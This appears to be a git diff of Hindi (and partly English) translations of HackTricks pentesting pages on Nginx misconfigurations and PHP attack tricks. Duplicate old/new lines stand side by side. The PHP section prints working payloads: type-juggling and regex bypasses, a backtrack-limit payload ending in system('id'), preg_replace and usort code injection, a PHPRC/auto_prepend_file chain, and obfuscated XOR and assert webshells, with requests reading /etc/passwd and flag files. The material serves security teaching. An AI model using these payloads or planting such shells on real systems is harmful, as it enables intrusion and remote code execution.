बिना `default` के, एक **दुष्ट उपयोगकर्ता** `/map-poc` के भीतर एक **अपरिभाषित URI** तक पहुँचकर सुरक्षा को बायपास कर सकता है। [Nginx मैनुअल](https://nginx.org/en/docs/http/ngx\_http\_map\_module.html) ऐसे मुद्दों से बचने के लिए **डिफ़ॉल्ट मान** सेट करने की सलाह देता है।
### **DNS Spoofing Vulnerability**
### **DNS स्पूफिंग भेद्यता**
Nginx के खिलाफ DNS स्पूफिंग कुछ शर्तों के तहत संभव है। यदि एक हमलावर को Nginx द्वारा उपयोग किए जाने वाले **DNS सर्वर** का ज्ञान है और वह इसके DNS प्रश्नों को इंटरसेप्ट कर सकता है, तो वह DNS रिकॉर्ड को स्पूफ कर सकता है। हालाँकि, यह विधि प्रभावी नहीं है यदि Nginx को DNS समाधान के लिए **localhost (127.0.0.1)** का उपयोग करने के लिए कॉन्फ़िगर किया गया है। Nginx एक DNS सर्वर को इस प्रकार निर्दिष्ट करने की अनुमति देता है:
```yaml
@ -232,7 +234,7 @@ resolver 8.8.8.8;
## proxy\_set\_header Upgrade & Connection
यदि nginx सर्वर को Upgrade और Connection हेडर पास करने के लिए कॉन्फ़िगर किया गया है, तो एक [**h2c Smuggling attack**](../../pentesting-web/h2c-smuggling.md) किया जा सकता है ताकि संरक्षित/आंतरिक एंडपॉइंट्स तक पहुँच प्राप्त की जा सके।
यदि nginx सर्वर को Upgrade और Connection हेडर पास करने के लिए कॉन्फ़िगर किया गया है, तो एक [**h2c Smuggling हमला**](../../pentesting-web/h2c-smuggling.md) किया जा सकता है ताकि संरक्षित/आंतरिक एंडपॉइंट्स तक पहुँच प्राप्त की जा सके।
{% hint style="danger" %}
यह कमजोरी एक हमलावर को **`proxy_pass` एंडपॉइंट के साथ एक सीधा कनेक्शन स्थापित करने** की अनुमति देगी (`http://backend:9999` इस मामले में) जिसका सामग्री nginx द्वारा जांचा नहीं जाएगा।
@ -259,24 +261,24 @@ deny all;
}
```
{% hint style="warning" %}
ध्यान दें कि भले ही `proxy_pass` एक विशिष्ट **पथ** की ओर इशारा कर रहा हो जैसे `http://backend:9999/socket.io`, कनेक्शन `http://backend:9999` के साथ स्थापित होगा, इसलिए आप उस आंतरिक एंडपॉइंट के अंदर **किसी अन्य पथ से संपर्क कर सकते हैं। इसलिए यह मायने नहीं रखता कि proxy_pass के URL में कोई पथ निर्दिष्ट किया गया है।**
ध्यान दें कि भले ही `proxy_pass` एक विशिष्ट **पथ** की ओर इशारा कर रहा हो जैसे `http://backend:9999/socket.io`, कनेक्शन `http://backend:9999` के साथ स्थापित किया जाएगा, इसलिए आप उस आंतरिक एंडपॉइंट के अंदर **किसी अन्य पथ से संपर्क कर सकते हैं। इसलिए यह मायने नहीं रखता कि proxy_pass के URL में क पथ निर्दिष्ट किया गया है।**
{% endhint %}
## खुद कोशिश करें
Detectify ने एक GitHub रिपॉजिटरी बनाई है जहा आप Docker का उपयोग करके अपने स्वयं के कमजोर Nginx परीक्षण सर्वर को स्थापित कर सकते हैं जिसमें इस लेख में चर्चा की गई कुछ गलत कॉन्फ़िगरेशन हैं और उन्हें खुद खोजने की कोशिश कर सकते हैं!
Detectify ने एक GitHub रिपॉजिटरी बनाई है जहा आप Docker का उपयोग करके अपने स्वयं के कमजोर Nginx परीक्षण सर्वर को स्थापित कर सकते हैं जिसमें इस लेख में चर्चा की गई कुछ गलत कॉन्फ़िगरेशन हैं और उन्हें खुद खोजने की कोशिश कर सकते हैं!
[https://github.com/detectify/vulnerable-nginx](https://github.com/detectify/vulnerable-nginx)
## स्थिर विश्लेषक उपकरण
## स्थैतिक विश्लेषक उपकरण
### [GIXY](https://github.com/yandex/gixy)
Gixy Nginx कॉन्फ़िगरेशन का विश्लेषण करने के लिए एक उपकरण है। Gixy का मुख्य लक्ष्य सुरक्षा गलत कॉन्फ़िगरेशन को रोकना और दोष पहचान को स्वचालित करना है।
Gixy एक उपकरण है जो Nginx कॉन्फ़िगरेशन का विश्लेषण करता है। Gixy का मुख्य लक्ष्य सुरक्षा गलत कॉन्फ़िगरेशन को रोकना और दोष पहचान को स्वचालित करना है।
### [Nginxpwner](https://github.com/stark0de/nginxpwner)
Nginxpwner सामान्य Nginx गलत कॉन्फ़िगरेशन और कमजोरियों की खोज के लिए एक सरल उपकरण है।
Nginxpwner एक सरल उपकरण है जो सामान्य Nginx गलत कॉन्फ़िगरेशन और कमजोरियों की खोज करता है।
## संदर्भ
@ -286,7 +288,9 @@ Nginxpwner सामान्य Nginx गलत कॉन्फ़िगरे
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**कमजोरी मूल्यांकन और पेनटेस्टिंग के लिए तुरंत उपलब्ध सेटअप**। कहीं से भी 20+ उपकरणों और सुविधाओं के साथ एक पूर्ण पेंटेस्ट चलाएँ जो पुनः खोज से रिपोर्टिंग तक जाते हैं। हम पेंटेस्टर्स का स्थान नहीं लेते - हम उन्हें गहराई से खुदाई करने, शेल पॉप करने और मज़े करने के लिए कुछ समय वापस देने के लिए कस्टम उपकरण, पहचान और शोषण मॉड्यूल विकसित करते हैं।
#### अपने वेब ऐप्स, नेटवर्क और क्लाउड पर एक हैकर का दृष्टिकोण प्राप्त करें
**महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें जिनका वास्तविक व्यावसायिक प्रभाव है।** हमारे 20+ कस्टम उपकरणों का उपयोग करके हमले की सतह को मैप करें, सुरक्षा मुद्दों को खोजें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -299,8 +303,8 @@ GCP हैकिंग सीखें और अभ्यास करें: <
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर हमें फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub रिपॉजिटरी में PR सबमिट करें।**
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub रिपॉजिटरी में PR सबमिट करें।
</details>
{% endhint %}

View file

@ -1,29 +1,33 @@
# PHP Tricks
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks का समर्थन करें</summary>
<summary>Support HackTricks</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../../..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
#### Get a hacker's perspective on your web apps, network, and cloud
## कुकीज़ का सामान्य स्थान:
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Cookies common location:
यह phpMyAdmin कुकीज़ के लिए भी मान्य है।
कुकीज़:
Cookies:
```
PHPSESSID
phpMyAdmin
@ -48,7 +52,7 @@ PHP तुलना तालिकाएँ: [https://www.php.net/manual/en/typ
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
* `"string" == 0 -> True` एक स्ट्रिंग जो संख्या से शुरू नहीं होती है, वह संख्या के बराबर होती है
* `"0xAAAA" == "43690" -> True` दशमलव या हेक्स प्रारूप में संख्याओं से बनी स्ट्रिंग्स अन्य संख्याओं/स्ट्रिंग्स के साथ तुलना की जा सकती है, यदि संख्याएँ समान थीं (स्ट्रिंग में संख्याएँ संख्याओं के रूप में व्याख्यायित की जाती हैं)
* `"0xAAAA" == "43690" -> True` संख्याओं से बनी स्ट्रिंग्स को अन्य संख्याओं/स्ट्रिंग्स के साथ तुलना की जा सकती है, यदि संख्याएँ समान थीं (स्ट्रिंग में संख्याएँ संख्याओं के रूप में व्याख्यायित की जाती हैं)
* `"0e3264578" == 0 --> True` "0e" से शुरू होने वाली और किसी भी चीज़ के बाद आने वाली स्ट्रिंग 0 के बराबर होगी
* `"0X3264578" == 0X --> True` "0" से शुरू होने वाली और किसी भी अक्षर (X कोई भी अक्षर हो सकता है) और उसके बाद किसी भी चीज़ के साथ आने वाली स्ट्रिंग 0 के बराबर होगी
* `"0e12334" == "0" --> True` यह बहुत दिलचस्प है क्योंकि कुछ मामलों में आप "0" के स्ट्रिंग इनपुट और कुछ सामग्री को नियंत्रित कर सकते हैं जो हैश की जा रही है और इसकी तुलना की जा रही है। इसलिए, यदि आप एक ऐसा मान प्रदान कर सकते हैं जो "0e" से शुरू होने वाला हैश बनाए और बिना किसी अक्षर के, तो आप तुलना को बायपास कर सकते हैं। आप इस प्रारूप में **पहले से हैश की गई स्ट्रिंग्स** यहाँ पा सकते हैं: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
@ -77,9 +81,9 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
```
`strcasecmp()` के साथ भी वही त्रुटि होती है
### सख्त प्रकार जुगलिंग
### सख्त प्रकार जुग्गलिंग
यहां तक कि यदि `===` **का उपयोग किया जा रहा है**, तब भी ऐसी त्रुटियाँ हो सकती हैं जो **तुलना को प्रकार जुगलिंग के प्रति संवेदनशील** बनाती हैं। उदाहरण के लिए, यदि तुलना **तुलना करने से पहले डेटा को एक अलग प्रकार के ऑब्जेक्ट में परिवर्तित कर रही है**:
यहां तक कि यदि `===` **का उपयोग किया जा रहा है**, तब भी ऐसी त्रुटियाँ हो सकती हैं जो **तुलना को प्रकार जुग्गलिंग के प्रति संवेदनशील** बनाती हैं। उदाहरण के लिए, यदि तुलना **तुलना करने से पहले डेटा को एक अलग प्रकार के ऑब्जेक्ट में परिवर्तित कर रही है**:
```php
(int) "1abc" === (int) "1xyz" //This will be true
```
@ -89,7 +93,7 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
#### नई पंक्ति बायपास
हालांकि, जब regexp`preg_match()` के प्रारंभ को सीमित किया जाता है, तो यह **केवल उपयोगकर्ता इनपुट की पहली पंक्ति** की **जांच** करता है, फिर यदि किसी तरह आप **कई पंक्तियों** में इनपुट **भेज** सकते हैं, तो आप इस जांच को बायपास करने में सक्षम हो सकते हैं। उदाहरण:
हालांकि, जब regexp के प्रारंभ को सीमित किया जाता है, `preg_match()` **केवल उपयोगकर्ता इनपुट की पहली पंक्ति** की **जांच** करता है, फिर यदि किसी तरह आप **कई पंक्तियों** में इनपुट **भेज** सकते हैं, तो आप इस जांच को बायपास करने में सक्षम हो सकते हैं। उदाहरण:
```php
$myinput="aaaaaaa
11111111"; //Notice the new line
@ -102,7 +106,7 @@ echo preg_match("/^.*1/",$myinput);
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
```
इस जांच को बायपास करने के लिए आप **नए लाइनों के साथ मान को URL-encoded** (`%0A`) भेज सकते हैं या यदि आप **JSON डेटा** भेज सकते हैं, तो इसे **कई लाइनों में** भेजें:
इस जांच को बायपास करने के लिए आप **नए लाइनों के साथ मान को URL-एन्कोडेड** (`%0A`) भेज सकते हैं या यदि आप **JSON डेटा** भेज सकते हैं, तो इसे **कई लाइनों में** भेजें:
```php
{
"cmd": "cat /etc/passwd"
@ -128,14 +132,14 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
संक्षेप में, समस्या इस कारण होती है क्योंकि PHP में `preg_*` फ़ंक्शन [PCRE लाइब्रेरी](http://www.pcre.org/) पर आधारित होते हैं। PCRE में कुछ नियमित अभिव्यक्तियों को बहुत सारे पुनरावृत्त कॉल का उपयोग करके मिलाया जाता है, जो बहुत अधिक स्टैक स्पेस का उपयोग करता है। पुनरावृत्तियों की अनुमति की गई मात्रा पर एक सीमा निर्धारित करना संभव है, लेकिन PHP में यह सीमा [डिफ़ॉल्ट रूप से 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) होती है, जो स्टैक में फिट होने से अधिक है।
[यह Stackoverflow थ्रेड](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) भी उस पोस्ट में लिंक किया गया था जहाँ इस मुद्दे के बारे में अधिक गहराई से बात की गई है। हमारा कार्य अब स्पष्ट था:\
**एक इनपुट भेजें जो regex को 100\_000+ पुनरावृत्तियों करने के लिए मजबूर करे, जिससे SIGSEGV हो, जिससे `preg_match()` फ़ंक्शन `false` लौटाए और इस प्रकार एप्लिकेशन को यह सोचने पर मजबूर करे कि हमारा इनपुट दुर्भावनापूर्ण नहीं है, अंत में पैकेज में कुछ ऐसा फेंकते हुए `{system(<verybadcommand>)}` जिससे SSTI --> RCE --> ध्वज :)**
**एक इनपुट भेजें जो regex को 100\_000+ पुनरावृत्तियों करने के लिए मजबूर करे, जिससे SIGSEGV हो, जिससे `preg_match()` फ़ंक्शन `false` लौटाए और इस प्रकार एप्लिकेशन को यह सोचने पर मजबूर करे कि हमारा इनपुट दुर्भावनापूर्ण नहीं है, अंत में पेलोड में कुछ ऐसा फेंकते हुए `{system(<verybadcommand>)}` जिससे SSTI --> RCE --> ध्वज :) प्राप्त हो सके।**
खैर, regex के संदर्भ में, हम वास्तव में 100k "पुनरावृत्तियों" को नहीं कर रहे हैं, बल्कि हम "बैकट्रैकिंग स्टेप्स" की गिनती कर रहे हैं, जो [PHP दस्तावेज़](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) के अनुसार `pcre.backtrack_limit` चर में डिफ़ॉल्ट रूप से 1\_000\_000 (1M) होत है।\
खैर, regex के संदर्भ में, हम वास्तव में 100k "पुनरावृत्तियों" को नहीं कर रहे हैं, बल्कि हम "बैकट्रैकिंग स्टेप्स" की गिनती कर रहे हैं, जो जैसा कि [PHP दस्तावेज़](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) में कहा गया है, `pcre.backtrack_limit` चर में डिफ़ॉल्ट रूप से 1\_000\_000 (1M) होत है।\
इस तक पहुँचने के लिए, `'X'*500_001` 1 मिलियन बैकट्रैकिंग स्टेप्स (500k आगे और 500k पीछे) का परिणाम देगा:
```python
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
```
### PHP ऑबफस्केशन के लिए टाइप जगलिंग
### PHP ओब्फ़स्केशन के लिए टाइप जगलिंग
```php
$obfs = "1"; //string "1"
$obfs++; //int 2
@ -158,7 +162,7 @@ header('Location: /index.php?page=default.html');
readfile($page);
?>
```
## पथ ट्रैवर्सल और फ़ाइल समावेश शोषण
## पथ ट्रैवर्सल और फ़ाइल समावेश शोषण
Check:
@ -169,7 +173,7 @@ Check:
## और ट्रिक्स
* **register\_globals**: In **PHP < 4.1.1.1** या यदि गलत कॉन्फ़िगर किया गया हो, **register\_globals** सक्रिय हो सकता है (या उनका व्यवहार अनुकरण किया जा रहा है)। इसका मतलब है कि वैश्विक चर जैसे $\_GET यदि उनके पास एक मान है जैसे $\_GET\["param"]="1234", आप इसे **$param के माध्यम से एक्सेस कर सकते हैं। इसलिए, HTTP पैरामीटर भेजकर आप उन चर को ओवरराइट कर सकते हैं** जो कोड के भीतर उपयोग किए जाते हैं।
* **एक ही डोमेन के PHPSESSION कुकीज़ एक ही स्थान पर संग्रहीत होते हैं**, इसलिए यदि एक डोमेन के भीतर **विभिन्न कुकीज़ विभिन्न पथों में उपयोग की जाती हैं** तो आप उस पथ को बना सकते हैं **जो कुकी को उस पथ क एक्सेस करता है** जो दूसरे पथ कुकी के मान को सेट करता है।\
* **एक ही डोमेन के PHPSESSION कुकीज़ एक ही स्थान पर संग्रहीत होते हैं**, इसलिए यदि एक डोमेन में **विभिन्न कुकीज़ विभिन्न पथों में उपयोग की जाती हैं** तो आप उस पथ को बना सकते हैं **जो कुकी को उस पथ के लिए एक्सेस करता है** जो दूसरे पथ कुकी के मान को सेट करता है।\
इस तरह यदि **दोनों पथ एक ही नाम के साथ एक चर को एक्सेस करते हैं** तो आप **path1 में उस चर का मान path2 पर लागू कर सकते हैं**। और फिर path2 path1 के चर को मान्य के रूप में लेगा (कुकी को path2 में उसके अनुरूप नाम देकर)।
* जब आपके पास मशीन के उपयोगकर्ताओं के **उपयोगकर्ता नाम** होते हैं। पता जांचें: **/\~\<USERNAME>** यह देखने के लिए कि क्या php निर्देशिकाएँ सक्रिय हैं।
* [**LFI और RCE का उपयोग करके php wrappers**](../../../pentesting-web/file-inclusion/)
@ -189,9 +193,9 @@ True
#### Causing error after setting headers
From [**this twitter thread**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19) आप देख सकते हैं कि 1000 से अधिक GET params या 1000 POST params या 20 फ़ाइलें भेजने पर, PHP प्रतिक्रिया में हेडर सेट नहीं करेगा।
From [**this twitter thread**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19) आप देख सकते हैं कि 1000 से अधिक GET params या 1000 POST params या 20 फ़ाइलें भेजने पर, PHP प्रतिक्रिया में headers सेट नहीं करेगा।
उदाहरण के लिए CSP हेडर को बायपास करने की अनुमति देना जो कोड में सेट किए गए हैं:
उदाहरण के लिए CSP headers को बायपास करने की अनुमति देना जो कोड में सेट किए गए हैं:
```php
<?php
header("Content-Security-Policy: default-src 'none';");
@ -199,7 +203,7 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
```
#### हेडर सेट करने से पहले एक बॉडी भरना
यदि एक **PHP पृष्ठ त्रुटियों को प्रिंट कर रहा है और उपयोगकर्ता द्वारा प्रदान की गई कुछ इनपुट को वापस इको कर रहा है**, तो उपयोगकर्ता PHP सर्वर को कुछ **इतना लंबा सामग्री प्रिंट करने के लिए मजबूर कर सकता है** कि जब यह **उत्तर में हेडर जोड़ने की कोशिश करता है**, तो सर्वर एक त्रुटि फेंक देगा।\
यदि एक **PHP पृष्ठ त्रुटियों को प्रिंट कर रहा है और उपयोगकर्ता द्वारा प्रदान की गई कुछ इनपुट को वापस इको कर रहा है**, तो उपयोगकर्ता PHP सर्वर को कुछ **इतना लंबा सामग्री प्रिंट करने के लिए मजबूर कर सकता है** कि जब यह **प्रतिक्रिया में हेडर जोड़ने की कोशिश करता है**, तो सर्वर एक त्रुटि फेंक देगा।\
निम्नलिखित परिदृश्य में **हमलावर ने सर्वर को कुछ बड़े त्रुटियाँ फेंकने के लिए मजबूर किया**, और जैसा कि आप स्क्रीन में देख सकते हैं, जब PHP ने **हेडर जानकारी को संशोधित करने की कोशिश की, तो यह नहीं कर सका** (तो उदाहरण के लिए CSP हेडर उपयोगकर्ता को नहीं भेजा गया):
![](<../../../.gitbook/assets/image (1085).png>)
@ -245,13 +249,13 @@ preg\_replace का यह विकल्प **PHP 5.5.0 से हटा द
```
आपको **कोड** **सिंटैक्स** को **तोड़ना**, अपना **पेलोड** **जोड़ना**, और फिर **इसे फिर से ठीक करना** होगा। आप **लॉजिक ऑपरेशंस** जैसे "**and" या "%26%26" या "|"** का उपयोग कर सकते हैं। ध्यान दें कि "or", "||" काम नहीं करते क्योंकि यदि पहली शर्त सही है तो हमारा पेलोड निष्पादित नहीं होगा। इसी तरह ";" काम नहीं करता क्योंकि हमारा पेलोड निष्पादित नहीं होगा।
**दूसरा विकल्प** है कि स्ट्रिंग में कमांड के निष्पादन को जोड़ें: `'.highlight_file('.passwd').'`
**अन्य विकल्प** है कि स्ट्रिंग में कमांड का निष्पादन जोड़ें: `'.highlight_file('.passwd').'`
**दूसरा विकल्प** (यदि आपके पास आंतरिक कोड है) है कि कुछ वेरिएबल को संशोधित करें ताकि निष्पादन को बदल सकें: `$file = "hola"`
**अन्य विकल्प** (यदि आपके पास आंतरिक कोड है) है कि कुछ वेरिएबल को संशोधित करें ताकि निष्पादन में परिवर्तन हो: `$file = "hola"`
### **RCE via usort()**
यह फ़ंक्शन एक विशिष्ट फ़ंक्शन का उपयोग करके आइटम के एक रे को क्रमबद्ध करने के लिए उपयोग किया जाता है।\
यह फ़ंक्शन एक विशिष्ट फ़ंक्शन का उपयोग करके आइटम के एक रे को क्रमबद्ध करने के लिए उपयोग किया जाता है।\
इस फ़ंक्शन का दुरुपयोग करने के लिए:
```php
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
@ -294,7 +298,7 @@ If you find a vulnerability that allows you to **modify env variables in PHP** (
* **`PHPRC`** : PHP को **अपनी कॉन्फ़िगरेशन फ़ाइल कहां स्थित है** इस पर निर्देशित करता है, जिसे आमतौर पर `php.ini` कहा जाता है। यदि आप अपनी खुद की कॉन्फ़िगरेशन फ़ाइल अपलोड कर सकते हैं, तो `PHPRC` का उपयोग करके PHP को उस पर इंगित करें। एक **`auto_prepend_file`** प्रविष्टि जोड़ें जो एक दूसरे अपलोड किए गए फ़ाइल को निर्दिष्ट करती है। यह दूसरा फ़ाइल सामान्य **PHP कोड है, जिसे फिर PHP रनटाइम द्वारा किसी अन्य कोड से पहले निष्पादित किया जाता है**
1. हमारे शेलकोड वाला एक PHP फ़ाइल अपलोड करें
2. एक दूसरा फ़ाइल अपलोड करें, जिसमें एक **`auto_prepend_file`** निर्देश हो जो PHP प्रीप्रोसेसर को चरण 1 में अपलोड की गई फ़ाइल को निष्पादित करने के लिए निर्देशित करता है
3. `PHPRC` वेरिएबल को चरण 2 में अपलोड की गई फ़ाइल पर सेट करें
3. `PHPRC` वेरिएबल को उस फ़ाइल पर सेट करें जिसे हमने चरण 2 में अपलोड किया था
* इस श्रृंखला को निष्पादित करने के तरीके के बारे में अधिक जानकारी प्राप्त करें [**मूल रिपोर्ट से**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
* **PHPRC** - एक और विकल्प
* यदि आप **फाइलें अपलोड नहीं कर सकते**, तो आप FreeBSD में "फाइल" `/dev/fd/0` का उपयोग कर सकते हैं जिसमें **`stdin`** होता है, जो `stdin` पर भेजे गए अनुरोध का **शरीर** है:
@ -343,11 +347,11 @@ $_COOKIE | if #This mea
### PHP कोड का डिओबफस्केटिंग
आप **www.unphp.net** का उपयोग PHP कोड को डिओबफस्केट करने के लिए कर सकते हैं।
आप PHP कोड को डिओबफस्केट करने के लिए **वेब**[ **www.unphp.net**](http://www.unphp.net) **का उपयोग कर सकते हैं।**
## PHP रैपर और प्रोटोकॉल
PHP रैपर और प्रोटोकॉल आपको एक सिस्टम में **लिखने और पढ़ने की सुरक्षा को बायपास** करने और इसे समझौता करने की अनुमति दे सकते हैं। [**अधिक जानकारी के लिए इस पृष्ठ की जांच करें**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols)
PHP रैपर और प्रोटोकॉल आपको एक सिस्टम में **लिखने और पढ़ने की सुरक्षा को बायपास** करने और इसे समझौता करने की अनुमति दे सकते हैं। [**अधिक जानकारी के लिए इस पृष्ठ की जांच करें**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
## Xdebug बिना प्रमाणीकरण वाला RCE
@ -390,14 +394,14 @@ $_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
```
### XOR आसान शेल कोड
According to [**this writeup** ](https://mgp25.com/ctf/Web-challenge/)यह संभव है कि इस तरीके से एक आसान शेलकोड उत्पन्न किया जा सके:
[**इस लेख** ](https://mgp25.com/ctf/Web-challenge/) के अनुसार, इस तरीके से एक आसान शेलकोड उत्पन्न करना संभव है:
```php
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
```
तो, अगर आप **संख्याओं और अक्षरों के बिना मनमाना PHP निष्पादित कर सकते हैं** तो आप उस पेलोड का दुरुपयोग करके मनमाना PHP निष्पादित करने के लिए निम्नलिखित अनुरोध भेज सकते हैं:
तो, यदि आप **संख्याओं और अक्षरों के बिना मनमाना PHP निष्पादित कर सकते हैं** तो आप उस पेलोड का दुरुपयोग करके मनमाना PHP निष्पादित करने के लिए निम्नलिखित अनुरोध भेज सकते हैं:
```
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded
@ -406,7 +410,7 @@ comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
```
For a more in depth explanation check [https://ctf-wiki.org/web/php/php/#preg\_match](https://ctf-wiki.org/web/php/php/#preg\_match)
### XOR Shellcode (inside eval)
### XOR Shellcode (eval के अंदर)
```bash
#!/bin/bash
@ -464,20 +468,24 @@ $____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
```
<figure><img src="../../..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
#### अपने वेब ऐप्स, नेटवर्क और क्लाउड पर एक हैकर का दृष्टिकोण प्राप्त करें
**महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें जिनका वास्तविक व्यापार पर प्रभाव है।** हमारे 20+ कस्टम टूल का उपयोग करके हमले की सतह का मानचित्रण करें, सुरक्षा मुद्दों को खोजें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
सीखें और AWS हैकिंग का अभ्यास करें:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और GCP हैकिंग का अभ्यास करें: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS हैकिंग सीखें और अभ्यास करें:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks का समर्थन करें</summary>
